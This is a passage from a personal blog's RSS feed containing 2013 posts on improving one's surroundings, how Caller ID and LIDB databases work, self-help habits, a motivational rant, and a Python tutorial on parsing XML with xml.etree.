walking through a quiet street surrounded by old crumbling buildings covered in
graffiti.&lt;/p>
&lt;p>I&amp;rsquo;m also willing to bet that if you were walking through an old neighborhood,
covered in graffiti and surrounded by old buildings with broken windows &amp;ndash; that
you&amp;rsquo;d be a lot more cautious of people you run into. You&amp;rsquo;d be on edge. You&amp;rsquo;d
be afraid. You probably wouldn&amp;rsquo;t act the same way you would if you bumped into
someone in a nicer area.&lt;/p>
&lt;p>So, with this in mind, we can improve not only our lives, but the lives of other
people as well &amp;ndash; by just improving our surroundings! And luckily, there are
tons of ways to do this.&lt;/p>
&lt;p>Here are some suggestions that require almost no effort on your part:&lt;/p>
&lt;ul>
&lt;li>When you walk down the street, smile and say hello to everyone you pass.
Studies have shown that smiling is contagious, and makes people feel more
comfortable, safe, and happy than they would otherwise.&lt;/li>
&lt;li>If you see trash on the side of the road, or in any public place, pick it up
and throw it away. People tend to treat areas that are already clean and nice
with more care than they do for places that are already dirty.&lt;/li>
&lt;/ul>
&lt;p>If you want to do something more, and are willing to exert more effort, you
could also try some of the following:&lt;/p>
&lt;ul>
&lt;li>Start a local meetup and get people involved in something you find
interesting. Making and maintaining friendships is one way to keep people
interested and motivated in their own personal development.&lt;/li>
&lt;li>Join your local city council and encourage the city to fix poorly maintained
public places: renovate parks, spend money fixing and improving streets, etc.&lt;/li>
&lt;/ul>
&lt;h2 id="the-idea">The Idea&lt;/h2>
&lt;p>The main idea here is that by making even the smallest of environmental changes,
you can positively affect the lives of other people &amp;ndash; maybe by making them feel
more safe and relaxed, or by making them smile and feel a tiny bit happier as
they go about their day.&lt;/p>
&lt;p>If even a small number of people consciously put forward effort to improve their
surroundings, great things can happen.&lt;/p>
&lt;p>One of my personal habits (for a long time) has been to try and make other
people happy in some small way. After reading &lt;a href="http://www.amazon.com/gp/product/0316316962/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0316316962&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Tipping Point">The Tipping Point&lt;/a>, I was
surprised to learn how easy it can actually be! There&amp;rsquo;s no need to wait, if you
want to make the world a better place, just get out there and do it!&lt;/p></description></item><item><title>How Caller ID Works</title><link>https://rdegges.com/2013/how-caller-id-works/</link><pubDate>Wed, 18 Dec 2013 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/how-caller-id-works/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/how-caller-id-works/demon-horse-sketch.jpg" alt="Demon Horse Sketch" title="Demon Horse Sketch">
&lt;/p>
&lt;p>Oh man.&lt;/p>
&lt;p>I don&amp;rsquo;t do this often, but, I&amp;rsquo;m going to do a bit of ranting &amp;gt;:)&lt;/p>
&lt;h2 id="why">Why?&lt;/h2>
&lt;p>I&amp;rsquo;ve been working with telephony stuff for almost 5 years now, and have a
pretty decent understanding of how things work. Truth be told: the entire
telephony industry is one huge hack. All the big players are using old
technologies and standards which are frustrating to work with, and cause loads
of unnecessary grief for anyone working with stuff! &lt;strong>Ugh!&lt;/strong>&lt;/p>
&lt;p>I&amp;rsquo;m also quite invested in this topic. Almost two years ago I started an API
company (&lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">OpenCNAM&lt;/a>) which makes getting Caller ID information easy for
developers.&lt;/p>
&lt;p>Since I&amp;rsquo;ve been doing this for a while, and have seen almost every imaginable
problem and roadblock, I figured it&amp;rsquo;d be nice to get all this off my shoulders,
and share some interesting technical information with the rest of the internet
at the same time.&lt;/p>
&lt;h2 id="what-is-caller-id">What is Caller ID?&lt;/h2>
&lt;p>Caller ID is an old telco standard for NANPA countries (any country whose phone
numbers begin with a +1):&lt;/p>
&lt;ul>
&lt;li>US&lt;/li>
&lt;li>Canada&lt;/li>
&lt;li>American Samoa&lt;/li>
&lt;li>Bermuda&lt;/li>
&lt;li>Guam&lt;/li>
&lt;li>Northern Marianas&lt;/li>
&lt;li>Puerto Rico&lt;/li>
&lt;li>Sint Maarten&lt;/li>
&lt;li>US Virgin Islands&lt;/li>
&lt;/ul>
&lt;p>Essentially, the standard (which doesn&amp;rsquo;t seem to be published anywhere on the
internet &lt;em>sigh&lt;/em>) says that every assigned phone should have a Caller ID string
which is represented as a 15 character, ASCII string.&lt;/p>
&lt;p>The way this works is simple. Every phone company (think Verizon, T-Mobile,
AT&amp;amp;T, etc.) maintains a database that contains three columns:&lt;/p>
&lt;ul>
&lt;li>phone number&lt;/li>
&lt;li>Caller ID&lt;/li>
&lt;li>private? (yes / no)&lt;/li>
&lt;/ul>
&lt;p>So, each time a phone company gets a new customer and assigns them a phone
number, that phone company is responsible for collecting the user&amp;rsquo;s name and
inserting it into their central Caller ID database.&lt;/p>
&lt;p>The idea is that if each carrier has a Caller ID database, then when people make
calls to and from one another, this information can be used to display the
Caller ID name of the person making the call &amp;ndash; this way the called party can
see who is calling them.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Caller ID works differently in other countries, so I&amp;rsquo;m only going to
cover the NANPA stuff (which applies to all US readers).&lt;/p>
&lt;h2 id="how-caller-id-is-stored">How Caller ID is Stored&lt;/h2>
&lt;p>Now that you&amp;rsquo;ve got a very high level understanding of what Caller ID is, let&amp;rsquo;s
talk about how it is stored.&lt;/p>
&lt;p>When phone companies sign on new customers, they insert the new user&amp;rsquo;s Caller ID
into a &lt;a href="http://en.wikipedia.org/wiki/LIDB" title="LIDB Database on Wikipedia">LIDB&lt;/a> database. Each carrier typically has their own LIDB database
that centrally stores all Caller ID for a given company.&lt;/p>
&lt;p>For simplicity&amp;rsquo;s sake, you can think of an LIDB database as a relational
database (think PostgreSQL). Now, in actuality, I have no idea what underlying
technologies power an actual LIDB database &amp;ndash; I can only guess. The reason for
this is that there is &lt;em>no information&lt;/em> on this technology anywhere online (as
far as I can tell) &amp;ndash; and all the books I&amp;rsquo;ve read on the subject seem to skip
this bit of information.&lt;/p>
&lt;p>The important part is that LIDB databases are where Caller ID information is
stored.&lt;/p>
&lt;p>Now, here&amp;rsquo;s the thing &amp;ndash; since there are so many different phone companies
around the US (and Canada) &amp;ndash; including many rural (small) phone companies,
what&amp;rsquo;s ended up happening is that many of the little guys have done one of two
things:&lt;/p>
&lt;ul>
&lt;li>Decided not to maintain any LIDB database records at all.&lt;/li>
&lt;li>Decided to outsource their Caller ID data to an LIDB provider &amp;ndash; a company
which provides a single LIDB database and stores Caller ID for numerous
different providers themselves.&lt;/li>
&lt;/ul>
&lt;p>Now, as you can see, the above two points have caused a lot of side effects:&lt;/p>
&lt;ul>
&lt;li>Each carrier is no longer guaranteed to have an LIDB database of their own.&lt;/li>
&lt;li>When calls are made, the location of the Caller ID data is now tricker to
find.&lt;/li>
&lt;li>Some phone numbers will never have Caller ID since some phone companies don&amp;rsquo;t
have the staff / ability to handle that stuff.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ll get into these points more later on, but it&amp;rsquo;s important to understand what
is happening.&lt;/p>
&lt;h2 id="final-thoughts">Final Thoughts&lt;/h2>
&lt;p>Caller ID is a horribly old, legacy standard that is hard for both consumers and
businesses to use and work with. Furthermore, all of the Caller ID players
(with the exception of &lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">OpenCNAM&lt;/a>) are only making the problem worse, and
causing further pain in the industry.&lt;/p>
&lt;p>Got any questions? Feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a>, would be happy to help.&lt;/p></description></item><item><title>Instantly Improve Your Month</title><link>https://rdegges.com/2013/instantly-improve-your-month/</link><pubDate>Mon, 16 Dec 2013 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/instantly-improve-your-month/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/hollow-sketch.jpg" alt="Hollow Sketch" title="Hollow Sketch">
&lt;/p>
&lt;p>Two months ago I was having a pretty lousy time. I was in a serious rut. The
new project I&amp;rsquo;d been working on was struggling with various scaling issues
(something I&amp;rsquo;m going to cover in subsequent articles), and I was routinely
pulling 16 hour days trying to get things working without much luck.&lt;/p>
&lt;p>In a desperate attempt to find some sort of relief, I was looking through my
&lt;em>Ideas&lt;/em> Google doc and came across a hidden gem: a few paragraphs I had written
to myself at some point in the past few years which outlined a few simple things
I should do when I&amp;rsquo;m in a rut to help me pull myself out of it. Thanks, past
me!&lt;/p>
&lt;p>After practicing the list of things below, I felt a lot happier, less stressed,
and gradually went back to feeling like my cheery self within a week or two.&lt;/p>
&lt;p>So, without further ado, here is my list of things you can do to instantly
improve your month and pull yourself out of whatever rut you&amp;rsquo;re currently in.&lt;/p>
&lt;h2 id="drink-a-lot-of-water">Drink a Lot of Water&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/water-sketch.jpg" alt="Water Sketch" title="Water Sketcb">
&lt;/p>
&lt;p>While this point seems moot, it&amp;rsquo;s actually quite important. &lt;strong>Drink a ton of
water.&lt;/strong>&lt;/p>
&lt;p>Sometimes when I&amp;rsquo;m at my desk all day, I don&amp;rsquo;t move around enough to drink
water, and end up having a dry mouth all day long &amp;ndash; ugh.&lt;/p>
&lt;p>I&amp;rsquo;ve found that drinking about a gallon of water a day makes me feel really well
hydrated and just better overall.&lt;/p>
&lt;p>It also helps to completely cut out all other types of liquid drinks you might
normally have: soda (diet or otherwise), caffeine drinks, tea, juice, coffee,
etc. I typically drink a lot of caffeine, but when I lay off it completely for
a few days (minimum) I feel a lot more relaxed and less on edge.&lt;/p>
&lt;h2 id="eat-vegetables">Eat Vegetables&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/broccoli-sketch.jpg" alt="Broccoli Sketch" title="Broccoli Sketcb">
&lt;/p>
&lt;p>&lt;strong>Eat at least one full serving of green vegetables per day.&lt;/strong> Why green
veggies? They&amp;rsquo;re the best ones for you: broccoli, peas, pea pods, leafy
greens, celery, etc.&lt;/p>
&lt;p>Green vegetables have a very low amount of carbohydrates, are great for
staying slim, reducing insulin levels in the blood, and taste good with a
little bit of pepper :)&lt;/p>
&lt;p>Maintaining steady insulin levels (blood sugar) is useful as it helps decrease
variation in blood sugar levels throughout the day which can lead to all sorts
of stuff: afternoon crashes, hunger, irritability, etc.&lt;/p>
&lt;p>They&amp;rsquo;re also full of vitamins and minerals that you might not be getting enough
of on a day-to-day basis&lt;/p>
&lt;h2 id="eat-lean-meats">Eat Lean Meats&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/chicken-sketch.jpg" alt="Chicken Sketch" title="Chicken Sketcb">
&lt;/p>
&lt;p>Almost nothing is as good for you as some lean meat: chicken, turkey, lean
steak, 95/5 ground beef, etc.&lt;/p>
&lt;p>Meat is incredibly filling and makes you feel satisfied quicker than other types
of foods. It has lots of protein which supports muscle tissue and muscular
development, and helps regulate body fat levels.&lt;/p>
&lt;h2 id="lift-heavy-weights">Lift (Heavy) Weights&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/weight-lifting-sketch.jpg" alt="Weight Lifting Sketch" title="Weight Lifting Sketch">
&lt;/p>
&lt;p>Go to the gym and lift some weights! Seriously. It doesn&amp;rsquo;t matter if it&amp;rsquo;s your
first time or not &amp;ndash; lifting weights is one of the best things you can do for
your health and happiness.&lt;/p>
&lt;p>Lifting weights has been shown to:&lt;/p>
&lt;ul>
&lt;li>Increase testosterone levels (a very good thing).&lt;/li>
&lt;li>Decrease body fat levels.&lt;/li>
&lt;li>Increase metabolic burn rate (more muscle = more calories burned every day,
regardless of whether you&amp;rsquo;re active or not).&lt;/li>
&lt;li>Increases endorphin levels: making you feel happier and lowering your stress
levels.&lt;/li>
&lt;/ul>
&lt;h2 id="spend-an-hour-outside">Spend an Hour Outside&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/squirrel-sketch.png" alt="Squirrel Sketch" title="Squirrel Sketch">
&lt;/p>
&lt;p>Getting outside helps you clear your mind, gets you a healthy dose of Vitamin D
(unless you&amp;rsquo;re outside at night!), and increases happiness.&lt;/p>
&lt;p>It&amp;rsquo;s also quite relaxing to force yourself outside without a computer for an
hour each day: it helps me to appreciate all the non-tech things in the world,
and gives me some time to do more basic human things: go for a walk, take a
short bike ride, and even think about problems I&amp;rsquo;m having in a stress-free
environment.&lt;/p>
&lt;h2 id="visit-a-friend">Visit a Friend&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/futuristic-monster-sketch.jpg" alt="Futuristic Monster Sketch" title="Futuristic Monster Sketch">
&lt;/p>
&lt;p>&lt;strong>Visit your friends at least once every other week.&lt;/strong> Maintaining contact
with your buddies is a great way to relax and pull yourself out of a rut.&lt;/p>
&lt;p>Hanging out with friends reduces stress, increases endorphins, and has even been
shown to increase your lifespan!&lt;/p>
&lt;p>I&amp;rsquo;ve found that hanging out with friends at least once every other week is
enough to keep me feeling happy and normal &amp;ndash; more than that and I find myself
missing the interaction :(&lt;/p>
&lt;h2 id="read">Read&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/books-sketch.jpg" alt="Books Sketch" title="Books Sketch">
&lt;/p>
&lt;p>Reading is a really important part of relaxing and feeling happy. If you&amp;rsquo;re
not already spending at least 30 minutes per day reading a book that interests
you, you should start immediately.&lt;/p>
&lt;p>Reading increases your knowledge, relaxes your mind, and is a great way to &amp;lsquo;zone
out&amp;rsquo; of the craziness of life for a short period of time. Focusing on a book
for 30 minutes a day is an excellent way to increase your personal
satisfaction.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you commute each day, you might want to consider getting an
&lt;a href="http://www.audible.com/" title="Audible">Audible&lt;/a> subscription. Audible is the biggest audio book subscription
service &amp;ndash; they have tons of books that you can download to your phone and
listen to on the go.&lt;/p>
&lt;h2 id="write">Write&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/writing-sketch.gif" alt="Writing Sketch" title="Writing Sketch">
&lt;/p>
&lt;p>Writing is also an important tool in reducing stress.&lt;/p>
&lt;p>Writing about your day (journaling) is a proven way to reduce stress and is
incredibly therapeutic.&lt;/p>
&lt;p>Regardless of whether you&amp;rsquo;re journaling or writing about other stuff: work
problems, programming, hobbies, whatever &amp;ndash; spending 30 minutes writing per day
is a great way to make yourself feel happy and productive.&lt;/p>
&lt;p>If you&amp;rsquo;re looking for a good way to journal each day, I&amp;rsquo;d recommend using
&lt;a href="http://750words.com/" title="750 Words">750 Words&lt;/a>. It&amp;rsquo;s a great tool you can use to maintain a private journal
online, which forces you to write at least 750 words each day to keep up your
chain. Once you give it a try, you&amp;rsquo;ll see why it&amp;rsquo;s so awesome: there are no
distractions, and it gives you a really simple throw-away space to write about
whatever you want without worrying about formatting, structure, etc.&lt;/p>
&lt;h2 id="focus-on-one-thing">Focus on One Thing&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/eye-sketch.jpg" alt="Eye Sketch" title="Eye Sketch">
&lt;/p>
&lt;p>Make a list of things you need to do in the next few days. Every morning when
you wake up, pick the most important thing on that list, and write it on a tiny
post-it note. Then put that post-it note on your computer.&lt;/p>
&lt;p>For the rest of the day, focus on doing that one thing as good as you possibly
can, and ignore everything else (within reason).&lt;/p>
&lt;p>If you can successfully finish that one thing by the end of the day: be happy
with your progress.&lt;/p>
&lt;p>I find that when I&amp;rsquo;m working on too many things I get easily distracted,
overwhelmed, and stressed out. Having a single thing to focus on makes me feel
a lot less stressed, and helps me stay on target for the day.&lt;/p>
&lt;p>It&amp;rsquo;s also nice to get the feeling that you&amp;rsquo;ve made progress at the end of each
day by finishing something completely. When I&amp;rsquo;ve got a million things to do and
I&amp;rsquo;m hurriedly finishing lots of things, I somehow feel like I haven&amp;rsquo;t
accomplished anything significant at the end of day, and feel bad about myself.&lt;/p>
&lt;p>It&amp;rsquo;s a lot better to keep that post-it note within view, and know that by the
time I&amp;rsquo;ve finished the day I&amp;rsquo;ve actually accomplished a win.&lt;/p>
&lt;h2 id="maintain-an-idea-list">Maintain an Idea List&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2013/instantly-improve-your-month/thought-bubble-sketch.jpg" alt="Thought Bubble Sketch" title="Thought Bubble Sketch">
&lt;/p>
&lt;p>The last piece of advice I have is to maintain your own idea list.&lt;/p>
&lt;p>I always keep a Google document named &lt;em>Ideas&lt;/em> open when I&amp;rsquo;m working &amp;ndash; this way,
if I get a cool idea for something (a blog post, business, app, library,
whatever) &amp;ndash; I can quickly jot it down and move on without worrying about losing
the idea.&lt;/p>
&lt;p>I periodically come back to my idea list when I&amp;rsquo;m bored or need inspiration, and
have a place to view all of my ideas and thoughts that I&amp;rsquo;ve had in the past.&lt;/p>
&lt;p>It&amp;rsquo;s really great knowing that anytime I&amp;rsquo;m feeling bored or uninspired I can
take a quick look through some awesomeness and cheer myself up.&lt;/p>
&lt;h2 id="thats-all">That&amp;rsquo;s All&lt;/h2>
&lt;p>Hope some of my suggestions can help you out at some point in the future. If
you implement all of the above things in your life for a week or more, it&amp;rsquo;s
pretty difficult to have a bad month.&lt;/p>
&lt;p>Keep making progress each day (both physically and mentally) and you&amp;rsquo;ll feel
happier, less stressed, and more awesome.&lt;/p></description></item><item><title>Fucking Do Something!</title><link>https://rdegges.com/2013/fucking-do-something/</link><pubDate>Mon, 21 Oct 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/fucking-do-something/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/fucking-do-something/fear-sketch.jpg" alt="Fear Sketch" title="Fear Sketch">
&lt;/p>
&lt;p>A little bit of life advice to myself for future reference: the next time you&amp;rsquo;re
not feeling great &amp;ndash; feeling lonely, sad, whatever it may be &amp;ndash; just get up and
fucking &lt;em>do something&lt;/em>. No excuses. Want to sit there and feel bad for
yourself? Grow the fuck up!&lt;/p>
&lt;p>Sometimes you&amp;rsquo;ve got to be hard with yourself, there&amp;rsquo;s just no getting around
it.&lt;/p>
&lt;p>You&amp;rsquo;ve got to get up, go to the gym, and lift some heavy ass weights. You&amp;rsquo;ve
got to get on that bike you bought and crush 20 miles or so. You&amp;rsquo;ve got to make
a list of ideas you have that sound like fun, and start working on one of them
until you can&amp;rsquo;t work anymore.&lt;/p>
&lt;p>This is just how things go.&lt;/p>
&lt;p>There&amp;rsquo;s no way you can ever feel 100% all of the time, but you can certainly try
your best. Inaction is the worst sort of failure. It&amp;rsquo;s what weak willed people
do.&lt;/p>
&lt;p>&amp;ldquo;There&amp;rsquo;s too much stuff to do, I can&amp;rsquo;t do anything.&amp;rdquo;&lt;/p>
&lt;p>Not with that attitude!&lt;/p>
&lt;p>You&amp;rsquo;ve got to get out there and give it your absolute fucking best. Turn off
Netflix. Turn off Twitter. All you need to do is get in there and keep
fighting. Whatever you do, don&amp;rsquo;t give in to those feelings.&lt;/p>
&lt;p>We&amp;rsquo;re just huge meat bags full of chemicals after all &amp;ndash; are you going to let
some minor chemical differences in some random region of your brain control your
life? ARE YOU? Or are you going to concentrate on what you have to do, and do
it?&lt;/p>
&lt;p>That&amp;rsquo;s what I thought.&lt;/p>
&lt;p>Now get out there, and be awesome.&lt;/p></description></item><item><title>Quickly Extract XML Data with Python</title><link>https://rdegges.com/2013/quickly-extract-xml-data-with-python/</link><pubDate>Wed, 04 Sep 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/quickly-extract-xml-data-with-python/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/quickly-extract-xml-data-with-python/broken-demon-sketch.png" alt="Broken Demon Sketch" title="Broken Demon Sketch">
&lt;/p>
&lt;p>Today I had the unfortunate luck of having to integrate an XML web service into
an application I&amp;rsquo;m working on.&lt;/p>
&lt;p>As you might already know, parsing JSON data with Python is really simple thanks
to some great built in tools. I wish I could say the same thing for working
with XML! Unfortunately, while Python &lt;em>does&lt;/em> include built in XML processing
tools, they&amp;rsquo;re not exactly the easiest thing in the world to work with.&lt;/p>
&lt;p>I&amp;rsquo;ve &lt;a href="https://rdegges.com/2010/basic-xml-parsing-with-python-and-lxml/" title="Basic XML Parsing With Python and LXML">written&lt;/a> about XML parsing in Python before (a really long time ago!),
but after spending an hour hunting around for the most elegant solution earlier
today, I figured I&amp;rsquo;d write a quick post as future reference to myself.&lt;/p>
&lt;p>When I last worked with XML in Python, I recommended that users try to use the
&lt;a href="http://lxml.de/" title="Python LXML">lxml&lt;/a> library. LXML is pretty great because it allows you do some advanced
things with XML, but on the downside: it requires C libraries (yuck!) that are
annoying to install locally, and adds another dependency to your project.&lt;/p>
&lt;p>Instead of going the LXML route, I&amp;rsquo;d like to suggest using Python&amp;rsquo;s built in
&lt;a href="http://docs.python.org/2/library/xml.etree.elementtree.html" title="Python xml.etree">xml.etree&lt;/a> module. It&amp;rsquo;s got a (relatively) simple interface that makes
parsing simple XML documents fairly easy &amp;ndash; and since that&amp;rsquo;s all I needed to do,
it seemed like a good solution.&lt;/p>
&lt;p>If you&amp;rsquo;re looking for a quick way to extract XML data, read on.&lt;/p>
&lt;p>Anyhow, let&amp;rsquo;s say you&amp;rsquo;ve got a simple XML document that looks something like the
below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-xml" data-lang="xml">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;?xml version=&amp;#39;1.0&amp;#39; encoding=&amp;#39;UTF-8&amp;#39;?&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&amp;lt;!DOCTYPE xgdresponse SYSTEM &amp;#39;xgdresponse.dtd&amp;#39;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;xgdresponse&lt;/span> &lt;span class="na">version=&lt;/span>&lt;span class="s">&amp;#39;1.0&amp;#39;&lt;/span>&lt;span class="nt">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;transid&amp;gt;&lt;/span>2771709&lt;span class="nt">&amp;lt;/transid&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;errorcode&amp;gt;&lt;/span>0&lt;span class="nt">&amp;lt;/errorcode&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;response&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;result&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;element&amp;gt;&lt;/span>666&lt;span class="nt">&amp;lt;/element&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;errorcode&amp;gt;&lt;/span>0&lt;span class="nt">&amp;lt;/errorcode&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;value&amp;gt;&lt;/span>SOMETHING IMPORTANT!&lt;span class="nt">&amp;lt;/value&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/result&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;lt;/response&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nt">&amp;lt;/xgdresponse&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, let&amp;rsquo;s say you need to extract the &lt;code>value&lt;/code> element out of this XML tree.
After lots of experimentation, this is the simplest way I found to do the data
extraction:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Extract the `value` element from the XML tree, if it exists.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">xml.etree&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">ElementTree&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">ET&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">xml&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;lt;?xml version=&amp;#39;1.0&amp;#39; encoding=&amp;#39;UTF-8&amp;#39;?&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;lt;!DOCTYPE xgdresponse SYSTEM &amp;#39;xgdresponse.dtd&amp;#39;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;lt;xgdresponse version=&amp;#39;1.0&amp;#39;&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;transid&amp;gt;2771709&amp;lt;/transid&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;errorcode&amp;gt;0&amp;lt;/errorcode&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;response&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;result&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;element&amp;gt;666&amp;lt;/element&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;errorcode&amp;gt;0&amp;lt;/errorcode&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;value&amp;gt;SOMETHING IMPORTANT!&amp;lt;/value&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;/result&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;lt;/response&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;lt;/xgdresponse&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">value&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ET&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromstring&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">xml&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">find&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;response/result/value&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="n">value&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="s1">&amp;#39;Found value:&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">value&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">text&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Which outputs:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> parse.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">Found value: SOMETHING IMPORTANT!
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The way this works is that we:&lt;/p>
&lt;ul>
&lt;li>Load our XML document into memory, and construct an XML &lt;code>ElementTree&lt;/code> object.&lt;/li>
&lt;li>We then use the &lt;code>find&lt;/code> method, passing in an &lt;a href="http://docs.python.org/2/library/xml.etree.elementtree.html#elementtree-xpath" title="XPath Selector">XPath selector&lt;/a>, which allows
us to specify what element we&amp;rsquo;re trying to extract.&lt;/li>
